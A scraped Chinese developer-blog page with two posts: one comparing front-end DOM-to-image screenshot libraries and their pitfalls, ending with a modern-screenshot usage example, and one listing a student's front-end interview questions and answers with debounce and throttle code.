考虑两个点,第一是不一定所有用户都有一个好用的截屏的软件(特别是在Mac上,大伙应该深有体会),并且页面如果需要滚动截屏,用户的操作就会比较麻烦,因此页面上能提供一个一键截屏的按钮就十分便利了;第二是如果由页面提供截图能力,可以很好地定制最终图片上所呈现的页面,比如可以调整一下布局,修改某些元素。


不过需要注意的是,我们要实现的截屏并不是一个真正的截屏,而是相当于dom的快照,针对传入的dom生成图片。


方案调研


那么咱就来研究研究,市面上都有哪些截屏的方案。


后端方案


一种比较常见的方案,是在服务端使用puppeteer(或者playwright啥的)起一个无头浏览器,渲染完页面后截图返回给前端,比如金山文档就是这么做的。


但是吧,这种方案的缺陷很明显。首先毋庸置疑的是,服务端的压力会变大,成本会变高;其次,最终生成的图片往往与用户所看到的页面有些出入,比如金山文档的截屏,如果源文档是些奇奇怪怪的字体,最终生成的图片里的字体就会是默认字体,另外布局什么的也可能会不一致;


源文档:



生成的图片:



那么后端方案优点也就与缺点一一对应,首先是对用户设备的消耗较小,性能较差的设备也能使用;其次是对于同一页面,后端方案生成图片能够完全一致,不会因为用户的机型不同导致页面布局发生变化,而且更重要的一点是,生成图片基本上都依赖于canvas,而canvas这东西有个坑,它对宽、高、面积有一定的限制,并且不同浏览器、不同设备的限制还不太一样,并且同一设备同一浏览器也会因为用户的设备可用资源受到影响,在生成canvas之前也不能拿到这个限制,这个限制在IOS设备上最为严重(有意思的是canvas是苹果提出的标准),参考javascript - Maximum size of a element - Stack Overflow,因此采用后端方案能够保证结果的一致性。



前端方案


有的小伙伴会说了,浏览器自带截屏功能的,直接用多好呀。是的,浏览器有一个截屏功能,但是我们在JS代码里并没法直接调用,并且浏览器自带的截屏,也无法实现上述所说的修改页面元素的能力。


浏览器自带截屏:



那么比较靠谱的前端截屏方案其实就两种,一种自己实现渲染,将dom一一渲染到canvas上后生成图片,比如html2canvas;另一种是借助foreignObject,将svg绘制到canvas上再生成图片,代表作为dom-to-image


html2canvas


html2canvas可以说是最古老的前端截屏实现方案了,也称得上是独一档的实现。它的原理简单来说就是克隆传入的dom,遍历克隆树,通过getBoundingClientRect获取元素的位置、大小,getComputedStyle获取元素样式,然后使用canvas的底层API,一点一点画出来的。


可想而知,这个过程是多么复杂,相当于自己实现了一套渲染引擎,并且css越来越复杂,想要完全绘制到canvas,够呛,所以html2canvas现在有一个很大的缺点就是对css的支持不够好。


另外,由于它自建了一套渲染,需要处理的情况非常多,所以包体积相当大,官网标注的gzip压缩后也有45kB。



除了上述原因外,真正让我放弃这个库的原因是,它太老了,它真的太老了,作为一个十几年前的库,它现在已经年久失修,上次更新都是两年前,而且看着只是文档修改。



并且已经堆积了800+ issue没有处理,基本上是不维护状态了。



更有意思的是,即使这个库已经存在了十几年,并且有大量页面将其应用到了生产环境,其中不乏一些大公司产品,比如腾讯文档(别问我怎么知道的,问就是我写的),但是它的作者仍在Readme里边写到:



dom-to-image


dom-to-image的基本原理十分简单,不需要做什么复杂的渲染,利用到了svg元素的foreignObject:



只需要把dom丢到foreignObject里边,就会在svg里边渲染出来,因为是浏览器的标准,也不用担心对css的支持不够友好:




其实,到这一步,你会发现已经达到将dom转成图片的目的了,svg本来就是图片。但是你可能会需要其他格式的图片,并且这样生成的svg体积实在是大了点,包含了大量冗余的信息。所以这里还是用到canvas,通过drawImage把svg画到canvas上,再通过canvas的toDataUrl生成图片链接。


从体积上看,不到10kB,是完全可以接受的:


看看它的代码仓库,可以看到已经七八年不更新了,并且有200+ issue没有处理,也基本上处于不维护状态了。:




如果能够满足需求,也不是不能用,遗憾的是,不太能满足我的需求。


首先是资源跨域问题,其实资源本身是支持跨域的,但是原始html中的标签没有加上crossorigin属性,导致生成图片时会报跨域错误,像页面里的图片、外链css啥的得做点特殊处理才能用。另外还有些奇奇怪怪的问题,可以看看issue,反正是不太能用。


dom-to-image-more


dom-to-image-more听名字也能听出来是fork的dom-to-image,解决了dom-to-image的部分bug,增加了一些能力。最重要的能力应该是解决了上述提到的跨域问题,它把link标签做了一下拦截,使用fetch去请求对应的src,加上了跨域配置,然后再对返回结果进行处理。另外还有一个有意思的点,在dom-to-image中,获取元素的样式是通过document.getComputedStyle拿到每个dom节点的样式,然后通过行内样式插入到对应的标签上,会导致最后生成的图片上包含了大量的行内样式,体积自然就比较大;而dom-to-image-more做了一个优化,利用沙盒获取到了元素的默认样式,再和getComputedStyle作比较,只插入不同于默认样式的属性,从而极大地减小了图片的体积,自然而然,这个复杂度高了点,生成图片的耗时稍微长点。


体积很理想,不到6kB:



之前看最新的更新在两年前,但是近期好像又有更新,说明还是有人在维护的:



但是最终还是没有用它,因为有个痛点,在我的场景下用了很多icon,而这些icon都是svg格式的,它们通过defs - SVG定义了一次,然后使用时都是通过 - SVG引用的;但是这个库没有处理这种情况,导致生成图片时只复制了use元素,而没有将其对应的defs元素复制过去,从而导致最终生成的图片上丢失了这些icon。


html-to-image


html-to-image也是fork的dom-to-image,修了部分bug,增加了一些能力。这个库相较于dom-to-image,特点是优化了文件结构,增加typescript支持,对比上述的dom-to-image-more,处理好了svg use和svg defs的情况,在有use的情况下会去找到对应的defs元素并添加进来。但是,它没有解决跨域问题。


另外还有个痛点,之前提到的icon,它们的样式吧,上面我们提到了,是通过getComputedStyle获取到,然后插入到行内样式实现的;对于普通的dom元素而言,这样做没有问题,因为这些dom使用的地方就是它们定义的地方;但是对于svg defs和svg use这样的元素而言,在定义时它的样式就已经被行内样式写死了,使用的时候就没办法覆盖定义时的样式,导致我的彩色icon全变成黑色了:


原图:



生成的图片:



看了下源代码,确实没有针对这点进行处理,所以还是放弃了,另外可想而知的是,像webcomponent这样定义和使用分离的情况,估计也存在样式不能覆盖的问题。


modern-screenshot


modern-screenshot也是基于dom-to-image,但它不是直接fork的dom-to-image,而是上面提到的html-to-image,所以相当于是dom-to-image的孙子辈了。


这个库既然是fork的html-to-image,自然也就继承了html-to-image良好的文件结构以及优秀的ts支持;并且这个库有意思的是,它还整合了dom-to-image-more的优化,不会产生跨域的问题了;对于svg use和svg defs,它更进一步,复用已有的defs,减小了生成图片的体积;另外还有个点,它用到了webworker并行地发起网络请求。


东抄抄西补补,modern-screenshot是目前我看到的效果最理想的前端截屏方案,并且这个库的作者仍在维护:


最近的更新发生在三周前,包体积gzip压缩后不到10kB,完全可以接受。


美中不足的是,这个库依然没有解决上述提到的svg use样式不能覆盖问题。其实想想也明白,通过getComputedStyle再写入行内样式的方式,这个问题是避免不了的。不过,考虑到svg defs元素一般都是icon在使用,而这些icon一般来说不会被外界样式所影响,所以针对svg defs和svg use标签,我们不通过getComputedStyle获取其样式,而是直接使用dom.cloneNode获取的样式,这样就不会写死行内样式,从而解决了这个问题。于是给该项目提了一个PR,也顺利合入:



当然这种解法并不严谨,但是绝大部分情况下应该够用,至少在我的场景下已经足够满足需求,因此最终我也是选择了使用modern-screenshot来实现截屏的需求。


modern-screenshot使用


modern-screenshot用起来也很简单,安装完成之后,只需少量代码即可使用:


// html
<div class="container">
<tw-el-tooltip content="生成图片" placement="top" hide-after="0">
<div class="config-button" @click="generateImage">
<el-icon
:config="common_system_picture"
color="#898A8C"
>
</el-icon>
</div>
</tw-el-tooltip>

</div>

// js
import { domToJpeg } from 'modern-screenshot';

const generateImage = async () => {
// 获取要生成图片的dom节点
const node = document.getElementById('service-analyzer-main');
if (!node) {
return;
}
try {
const dataUrl = await domToJpeg(node, {
// 传入配置
scale: 2,
});

// 通过a标签自动下载图片
const a = document.createElement('a');
a.href = dataUrl;
a.download = route.path.split('/').at(-1) + '.jpg';
a.click();
a.remove();
ElMessage.success('图片生成成功,请耐心等待下载');
} catch (error) {
ElMessage.error('图片生成失败');
}
};

原图(使用截屏软件截的长图):



通过modern-screenshot生成的图片:



当然,这是最基本的使用。如果涉及到一些复杂的操作,比如需要在截图时,对某些元素进行修改,比如把图片转成url展示,就需要在截图前遍历dom树进行一些转换再生成图片了。如果这都还不能满足需求,可能就需要专门实现一个预览模式,通过iframe打开预览模式的页面再生成图片了,腾讯文档就是这么做的。


还有些坑


苹果两倍屏


用Mac的小伙伴应该知道,Mac的屏幕是所谓的Retina屏,它的像素密度是普通屏幕的两倍,因此如果直接生成图片的话,在Mac上看起来会是比较模糊的,因此在生成图片时需要将其放大两倍。


截图元素有滚动条导致图片截断


如果截图元素有滚动条,会导致最终生成的图片只包含当前滚动条区域内的内容。如果想要截取完整内容,可以通过将临时截图元素的宽高设置为fit-content,让其展示完整,截图完成后再修改为原始宽高即可。不可避免的,这种方式会对原始元素产生一些影响,滚动条会“跳一下”,不过问题不大,实在介意的话可以加个遮罩层,在生成图片时盖住就好。


缩放后canvas元素模糊


如果在生成图片时设置scale选项,将其放大,可以看到最终生成的图片上canvas元素虽然放大了,但是并不够清晰。这个是没办法避免的,毕竟canvas是像素级别的画布,做不到无损放大,同理可以推断像素图比如jpg、png这些经过放大后也会模糊。


元素内部的滚动元素


另外还有一个坑点,如果截图元素内部的元素有滚动条,生成的图片只能包含可视区域内的部分。其实这是合理的,当然不能全都包含进来,问题是,我有一个页面,截图元素内部存在滚动元素,但是这个滚动元素的默认滚动位置是居中的,而生成图片时这个元素的滚动位置只能是左上角,因此最终生成的图片就没有我想要的内容:


原图:



生成的图片:



而且好像并没有办法指定滚动条的位置。


这让我想到之前看到别人分享的一个有意思的bug,说是他的服务接入了第三方地图服务,但是不管他如何调试,找遍了官方文档,他的页面始终是蓝色的。后续排查了很久,终于发现,原来这个地图默认定位是在经纬度(0, 0),而这里是一片大海。。。



内容过长时生成空白图片


这个其实就是我一开始提到的canvas存在限制的问题:javascript - Maximum size of a element - Stack Overflow


小结


那么事情就是这么个事情啦,主要是记录一下当时我做截图需求过程中调研的一些方案,以及对应的优缺点,并记录了一些坑。其中也包含了一些我在选择三方库时的考量,比如npm下载量、最近更新情况、仓库维护情况、包体积大小、项目功能完善程度、仓库质量、ts支持情况等。


看到这里,如果对你有所帮助的话,可以给我一些鼓励哦。


作者:超级无敌大怪兽
来源:juejin.cn/post/7339671825646338057
收起阅读 »

同学们说我染上面试了

web
目前大三,最近刚分手,想着正好沉下心来去搞就业,寒假期间抱着摸自己底的心态去试试面试,海投了许多厂,小厂,中厂,大厂都有,给我的感觉就是大部分内容都是八股,怎么跟别人的面试不一样,本期就来记录下我面试中遇到的那些面试题,希望对大家春招有所帮助 一、聊聊盒子模型...
继续阅读 »

目前大三,最近刚分手,想着正好沉下心来去搞就业,寒假期间抱着摸自己底的心态去试试面试,海投了许多厂,小厂,中厂,大厂都有,给我的感觉就是大部分内容都是八股,怎么跟别人的面试不一样,本期就来记录下我面试中遇到的那些面试题,希望对大家春招有所帮助


一、聊聊盒子模型


盒模型是css描述布局用的概念,盒子模型有两种,默认情况下为标准盒模型,还有一种为IE或者怪异盒模型,这个是曾经IE使用的盒模型,如今使用需要打上box-sizing: border-box;


对于标准盒模型,一个盒子最终的宽度为width + padding + border + margin。而对于IE盒模型,一个盒子最终的宽度为width + margin,也就是说,IE盒模型的宽度其实就是标准盒模型的width + padding + border,最终自身的真实宽度会被边框和内边距挤掉一部分,当你为了防止盒子被撑大的时候你可以使用IE盒模型


二、vue3的响应式如何实现


vue3的响应式主要是靠es6的代理proxy来实现的,proxy可以拦截对象,进行读值操作,能够捕获到数据的修改


reactive能够将引用类型变成响应式,ref通常用于将原始数据类型变成响应式,但是ref也可以将引用类型变成响应式,另外还有个副作用函数effect,当响应式数据发生变更,副作用函数就会重新执行


三、computed和watch是什么,有什么应用场景


computed是计算属性,依赖响应式数据,只要发生变更就会重新计算,另外computed有缓存机制,多次使用计算属性的逻辑时只会执行一次。所以当数据是根据其他响应式数据计算而来的时候,可使用computed


watch是监听器,监听一个数据的变化,当数据变化时,就会执行一个回调,可以用于处理异步,另外watch在刚进页面的时候就会执行一次


四、说说你对BFC的理解


BFC全称Block Formatting Context也就是块级格式化上下文,是css描述块级盒子的一种方式


BFC可以让浮动元素的高度也计算在内,因此常用于清除浮动,另外BFC还可以阻止子元素的margin-top和父容器重叠。


像是overflow: auto | hidden | scroll 以及左右浮动,还有相对,固定定位display: flex | grid | inline-block | table开头的属性都可以触发BFC


五、浏览器的事件循环


js事件循环机制是浏览器用于处理js代码执行顺序的机制


因为js设计之初仅仅是个脚本语言,所以为了性能,将其定义为单线程,代码一定会有耗时和不耗时代码,也就是异步和同步代码,并且设计师为了更精细地控制异步代码地执行顺序,又将异步分为宏任务,微任务,因此事件循环机制就是描述同步,宏任务和微任务的执行优先顺序


在浏览器的一个事件循环中,先是执行同步,再是执行微任务,最后才是宏任务,之后宏任务又是下一轮事件循环的开启,像是js全局的打印就是一个同步代码,常见的宏任务有三个定时器,和scriptI/O页面渲染。常见的微任务有promise.thenMutationObserverProcess.nextTick


六、浏览器输入url之后发生了什么


先进行url解析,浏览器解析输入的url,提取出协议,主机名,路径等信息


再是dns解析,浏览器将主机名解析成相应的ip地址


然后建立tcp连接,这个过程就是三次握手,确保客户端和服务器之间的连接正常建立


再是发送http请求,浏览器向服务器发送http请求,请求中包括了方法,路径,请求头等信息


然后服务器会处理请求,根据请求的内容进行处理,查询数据库,读取文件


然后服务器会返回响应,将生成的响应数据通过tcp连接发送回浏览器


浏览器接收响应并进行渲染页面,这个过程包括了解析html,css代码生成相应的dom树和cssom树,然后两树结合形成Render Tree,回流,重绘


断开连接,也就是tcp四次挥手


七、flex:1代表什么


flex: 1通常用于做分配父容器的宽度,比如做三栏布局时,两边固定写死宽度,中间给个flex: 1,那么他会继承到中间剩余的所有宽度


不过其实flex是有三个参数的,flex: 1其实是flex: 1 1 auto的缩写,第一个参数是flex-grow也就是放大比例,1代表会放大,也是默认值,第二个参数flex-shrink是收缩,默认值1代表空间不足时等比例收缩,第三个参数flex-basis是定义弹性元素的初始大小


八、讲讲diff算法


diff算法就是用在比较两颗虚拟dom树的差异,最小化地对真实dom进行修改,就是找不同。


这个比较过程先是对两颗dom树进行深度优先遍历,然后同级节点比较,比较相同位置地节点,类型属性是否不同,不同则替换,相同继续下去


两个相同类型的节点有不同的属性diff算法也会更新到真实dom,如果两个节点有不同的子节点,diff算法也会递归找到子节点地差异


当比较列表节点地时候,diff算法会尽可能地复用已有地节点,而不是删除再重新创建。另外当diff算法发现某个节点已经不同于之前的虚拟dom树,它会立即停止对改节点地进一步比较,避免性能浪费


九、js数据类型判断


typeof可以判断除了null之外的原始数据类型,还可以判断函数


instanceof只能判断引用数据类型,它是通过原型链来查找的


Array.isArray只能判断是否为数组


Object.prototype.toString.call可以判断所有的数据类型,返回一个字符串,比较起来会麻烦点


十、手写防抖节流


防抖就是在规定的时间内没有第二次操作,才执行,规定的时间内一直触发,就不会执行。


防抖如下


function debounce(fn, delay){
let timer
return function(){
let args = arguments
if(timer) clearTimeout(timer);
timer = setTimeout(() => {
fn.call(this,...args)
},delay)
}
}

防抖就是接收一个函数和一个时间,然后在函数中创建一个定时器,如果定时器不存在,那么就会创建一个定时器,并在时间过期之后执行传入的函数,如果定时器存在那么久掐灭这个定时器


节流就是规定的时间内只执行一次,假设手速很快,但是触发事件地速度是恒速


节流如下


function throttle(fn, delay){
let prevTime = Date.now();
return function(){
if(Date.now() - prevTime > delay){
fn.apply(this,arguments)
prevTime = Date.now()
}
}
}

节流同样,接受一个函数,一个时间,只要两次时间差大于传入的时间才会执行函数,并且只有满足了这个条件,prevTime才会更新为当前时间


十一、vite为什么比webpack快


vite使用了ES Module作为开发基础,在开发过程中能够以原生的ES Module直接加载和解析模块


vite可以在你修改代码后,只重新加载和应用发生改变的部分,而非整个页面,并且当你启动项目时,vite只会加载你正在编辑得文件,而非整个项目,vite只在需要时加载代码,而不是一次性加载所有的内容,并且vite可以缓存已经构建过的代码,下次启动时直接使用缓存


十二、如何解决闭包导致的内存泄露


可以使用WeakMap或者WeakSet来存储外部变量,因为二者是弱引用,时刻会被垃圾回收机制回收


如果闭包处于事件处理函数中,可以借助事件委托的机制,将事件处理函数放到父元素上,而非每个子元素上,事件委托就是借助了冒泡的机制


十三、聊聊cookie


cookie是个小型的文本文件,由服务器端发送到用户的浏览器,并存储在用户的计算机上。cookie主要是来跟踪用户的会话信息,存储用户的偏好设置


cookie通常用于身份认证来保证网站资源的安全性,而非大量数据的本地存储,当用户访问一个网站时,服务器会创建一个唯一的会话标识符,存在cookie中,这样用户在同一网站就可以保持登录状态,不用重复登录


十四、聊聊vue的生命周期


vue的生命周期有如下几个阶段,每个阶段都有两个钩子,除了最后一个销毁,时间一到自动触发钩子


创建阶段:创建之前,初始化选项式api,创建之后


挂载阶段:挂载之前,初始渲染dom节点,挂载之后


更新阶段:更新前,更新后,这里的更新是根据数据源的变化


销毁阶段:销毁前,销毁后,移除所有的监听器


错误捕获:子组件报错时触发


十五、vue中父子组件如何通讯


父传子,需要父组件v-bind绑定属性用于传值,子组件用props接收


子传父,需要子组件通过$emit发布该事件,且携带参数


最后


不知道为什么,面了这么多,很少碰到让我手写,大部分都是聊八股和项目。


作者:Dolphin_海豚
来源:juejin.cn/post/7340479361219002405
收起阅读 »